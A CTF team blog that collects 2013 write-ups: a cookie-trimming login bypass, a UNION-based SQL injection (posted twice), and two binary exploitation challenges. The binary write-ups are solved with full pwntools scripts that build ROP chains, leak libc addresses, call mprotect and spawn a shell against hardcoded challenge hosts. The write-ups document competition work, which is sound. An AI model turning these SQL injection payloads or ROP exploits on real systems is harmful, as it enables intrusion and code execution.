badmedicine - DEFCON CTF quals 2013

Posted by sebbe on 19 June 2013

Challenge description:

http://badmedicine.shallweplayaga.me:8042

This challenge greeted us with a simple username prompt.

username prompt

Entering a username, it's revealed that the task is to log in as the user admin. However, attempting to do so gives a message that admin logins are disabled.

Examining the cookies, we see that a cookie is set upon login. The contents are hexadecimal, and appear to be related to the username.

The hunch was then, that logging in as admin' and removing the last byte from the cookie would solve the problem, and it did.

The key is: who wants oatmeal raisin anyways twumpAdby

babysfirst - DEFCON CTF quals 2013

Posted by sebbe on 19 June 2013

Challenge description:

http://babysfirst.shallweplayaga.me:8041

Upon visiting the page given, one's presented with a barebones login page.

login page

This basically screamed SQL injection. Attempting to send a username/password containing a ' didn't immediately give a reaction. Inspecting the network monitor showed a header displaying the query being run, however.

x-sql header

Doing injections along the lines of

' UNION SELECT name FROM users WHERE '' = '

in the password field, allowed us to extract the following users and passwords through the user name displayed:

user: root
pass: barking up the wrong tree

user: user
pass: password

Logging in as either of those didn't give much, however.

Assuming that the key must be found in some other table, we fared a guess that the key may be located in the table keys. This led us to try

' UNION SELECT * FROM keys WHERE '' = '

which successfully found the key.

success

The key is: literally online lolling on line WucGesJi

Defcon ctf Quals 2013 Babysfirst

Posted by Unknown on 19 June 2013

Challenge description:

http://babysfirst.shallweplayaga.me:8041

Upon visiting the page given, one's presented with a barebones login page.

login page

This basically screamed SQL injection. Attempting to send a username/password containing a ' didn't immediately give a reaction. Inspecting the network monitor showed a header displaying the query being run, however.

x-sql header

Doing injections along the lines of

' UNION SELECT name FROM users WHERE '' = '

in the password field, allowed us to extract the following users and passwords through the user name displayed:

user: root
pass: barking up the wrong tree

user: user
pass: password

Logging in as either of those didn't give much, however.

Assuming that the key must be found in some other table, we fared a guess that the key may be located in the table keys. This led us to try

' UNION SELECT * FROM keys WHERE '' = '

which successfully found the key.

success

The key is: literally online lolling on line WucGesJi

reader - SECUINSIDE 2013

Posted by IdolfHatler on 01 June 2013

Challenge description:

http://war.secuinside.com/files/reader

ip : 59.9.131.155
port : 8282 (SSH)
account : guest / guest

We have obtained a program designed for giving orders to criminals.

Our investigators haven't yet analyzed the file format this program reads.

Please help us analyze the file format this program uses, find a vulnerability, and take a shell.

We were not able to participate seriously in SECUINSIDE, as it collided with events at our university.

One of the few problems we managed to solve was reader, though we only managed to solve it locally, since we used pwntools and did not have time to/care enough to port it to plain python.

As to avoid running into this problem in another CTF, we have implemented an ssh backend in pwntools using paramiko and improved our rop module. But enoug meta, onto the challenge!

The program itself was fairly simple: Parse a weird format, print it out in a weird format and remember to have overflows everywhere. The format it parsed was:

struct {
    char header1[12];       // Must be "\xffSECUINSIDE\x00"
    char section1[50];      // Must have a null-byte in the first 12 bytes
    char section2[50];
    char header2[4];        // Must be "\xff\xff\xff\xff"
    int len1;               // 5 <= len1 <= 50
    int len2;               // len2 <= 100
    int len3;               // len3 <= 800
    int timeout;            // how much do you want to usleep?
    char fill_char;         // Must not be '\x00'
    char buf1[len1];
    char buf2[len2];
    char buf3[len3];
}

This was then read into this structure:

struct {
    int len1;
    int len2;
    int len3;
    int timeout;
    char fill_char;     // Non-packed -- meaning 3 padding bytes afterwards
    char *buf1;         // malloc'ed
    char *buf2;         // malloc'ed
    char *buf3;         // malloc'ed
    char section1[51];  // Always null-terminated
    char section2[51];  // Always null-terminated
}

The only overflowable function without a stack cookie was the print function at 0x08048d41. This could be overflowed by because buf2 is set to a stack variable at 0x08048f1e and then memcpy'ed to at 0x08048d1d.

However this only gave us a 14 byte overflow from eip and upwards. This might not seem like much, however it is more than enough for a ret2libc attack, if ASLR is disabled.

As everbody knows, ASLR can be disabled locally by doing ulimit -s unlimited. However assume that your lack of sleep have made you forget this important fact, then what would you do? One solution would be to:

  1. Jump slightly back in main to 0x08049157
  2. Run the parsing of the file again to a known address (for example .bss + 0x100)
  3. Run the same overflow again, thus gaining a slightly larger rop
  4. Migrate your rop to the known address
  5. Load more rop (for example at .bss + 0x200) and migrate to it
  6. Print the address of printf to stdout
  7. Generate more rop calculated from the printf address
  8. Load it in (for example at .bss + 0x300) and migrate to it
  9. Call mprotect and read shellcode (for example to .bss + 0x400)
  10. Jump to shellcode and win

All of this can be done using only 99 lines with pwntools:

#!/usr/bin/env python
from pwn import *
import sys
context('i386', 'linux')
splash()

# Magic variables
fd = 3
memcpy = 0x080487f3
stdout = 0x0804b080
do_it_again = 0x08049157

# Configuration
shellcode = shellcode.setresuidsh()
LOCAL = True
HOST = 'guest:guest@59.9.131.155:8282'

# Initialize rop
r = ROP('reader')

# read rop2 to the address .bss+0x200 and migrate to it
r.call('read', (fd, r.sections['.bss'] + 0x200, 0x100))
r.migrate(r.sections['.bss'] + 0x200)
rop1 = r.flush()

# puts the address of printf
r.call('puts', 'MAGIC')
r.call('puts', r.got['printf'])

# fflush stdout. 0x41414141 will be replaced by the memcpy
r.call(memcpy, (r.sections['.bss'] + 0x200 + 4*(3+3+5+2), stdout, 4))
r.call('fflush', 0x41414141)

# read rop3 to the address .bss+0x300 and migrate to it
r.call('read', (0, r.sections['.bss'] + 0x300, 0x100))
r.migrate(r.sections['.bss'] + 0x300)
rop2 = r.flush()

# File 1
section1  = '\x00' + 'A'*49
buf1 = 'A'*8
buf2 = flat('\0'*36, do_it_again, 0x41414141, r.sections['.bss'] + 0x100).ljust(100)
buf3 = 'A'*8
file1 = flat(
    '\xffSECUINSIDE\x00',               # first header
    section1, 'A' * 50,                 # two 50-byte sections
    -1,                                 # second header
    len(buf1), len(buf2), len(buf3),    # the lengths to read
    0, 'A',                             # usleep time, fill character
    buf1, buf2, buf3)

# File 2
section1  = ('\x00' + rop1).ljust(50)
buf1 = 'A'*8
buf2 = flat('\0'*32, r.sections['.bss'] + 0x100 + 0x21 - 4, r._gadgets['leave'][0]).ljust(100)
buf3 = 'A'*8
file2 = flat(
    '\xffSECUINSIDE\x00',               # first header
    section1, 'A' * 50,                 # two 50-byte sections
    -1,                                 # second header
    len(buf1), len(buf2), len(buf3),    # the lengths to read
    0, 'A',                             # usleep time, fill character
    buf1, buf2, buf3)

sploit = file1 + file2 + rop2

# And now for the actual exploitation
if LOCAL:
    write('sploit.sec', sploit)
    sock = process('./reader sploit.sec')
else:
    ssh = ssh(HOST)
    ssh.upload('sploit.sec', raw = sploit)
    ssh.libs('reader', rop = r)
    sock = ssh.run('./reader sploit.sec')

# Wait for rop2 to run
sock.recvuntil('MAGIC\n')

# Read the address of printf and update the rop object
printf = u32(sock.recvn(4))
r.load_library('libc', printf, 'printf')

# We can now use any function in libc (that does not use too much stack)
# However we like shellcode, so only mprotect, read and write is needed
r.call('mprotect', ((r.sections['.bss'] + 0x400)        & ~4095, 4096, 7))
r.call('mprotect', ((r.sections['.bss'] + 0x400 + 4096) & ~4095, 4096, 7))
r.call('write', (1, 'MAGIC\n', 6))
r.call('read', (0, r.sections['.bss'] + 0x400, len(shellcode)))
r.call(r.sections['.bss'] + 0x400)
rop3 = r.flush()
sock.send(rop3)

# Wait for rop3 to run, then send the shellcode
sock.recvuntil('MAGIC\n')
sock.send(shellcode)

# And now a shell
sock.interactive()

As seen, this uses both our recently implemented ssh features and the fact that rop now supports arbitrary structures. The rop-call to 'write' is a simple example, however deeply nested structures are supported too.

pork - PlaidCTF 2013

Posted by anonymous on 12 May 2013

It was fairly obvious it was a proxy from strings

Not found
GET %s HTTP/1.0
Host: %s
%s http://%s %s
Proxy does not implement this method

The third argument in sscanf could be ooverflown since read is called with 0x800 byes and the buffer is only 0x400.

sub    esp,0x24f0
lea    ecx,[esp+0x1c24]
mov    DWORD PTR [esp+0x10],ecx

However as we can see the stack is large enough and the space above is writen to before use.

A quick glance at clienterror reveals that it should be possible to make a overflow here if we can control one of the three inputs. But in the main function, we have no luck.

mov    DWORD PTR [esp+0xc],0x8049b34
mov    DWORD PTR [esp+0x8],0x8049b59
mov    DWORD PTR [esp+0x4],0x8049b69
mov    eax,DWORD PTR [esp+0x24b8] ; socket
mov    DWORD PTR [esp],eax
call   8048d16 <clienterror>

Onwards to serve()! call to clienterror with an argument? Check.

lea    eax,[ebp-0x1894]
mov    DWORD PTR [esp+0xc],eax
mov    DWORD PTR [esp+0x8],0x8049ab8
mov    DWORD PTR [esp+0x4],0x8049ac2
mov    eax,DWORD PTR [ebp+0x8] ;socket
mov    DWORD PTR [esp],eax
call   8048d16 <clienterror>

This code is called if gethostnameby_r fails.

What is left is the ropping. pwntools to the rescue!

#!/usr/bin/env python

from pwn import *

context('i386', 'linux', 'ipv4')

#HOST = '127.0.0.1'
HOST = '184.72.73.160'
PORT = 33227

r = remote(HOST, PORT, timeout = None)
p = rop.ROP('./pork-8c2fdf93e211c7358e0192a24bc951843da672b1')

buf = p.sections['.bss'] + ord('A')
shellcode = asm(shellcode.findpeersh())

p.call('read', [4, buf+5*4, len(shellcode)])
p.call(buf+5*4)

pivot_rop = p.flush()

for n,c in enumerate(pivot_rop):
    p.call('sprintf', [buf+n, p.search(c).next()])

p.migrate(buf)

rop_chain = p32(p._gadgets['popret'][3][0])*4 + p.generate()

pause()
r.send('GET http://' + 'A'.ljust(1024, 'A') + rop_chain + ' HTTP/1.1\r\n')
sleep(1.0)
r.send('\r\n')
sleep(1.0)
r.send(shellcode)
r.interactive()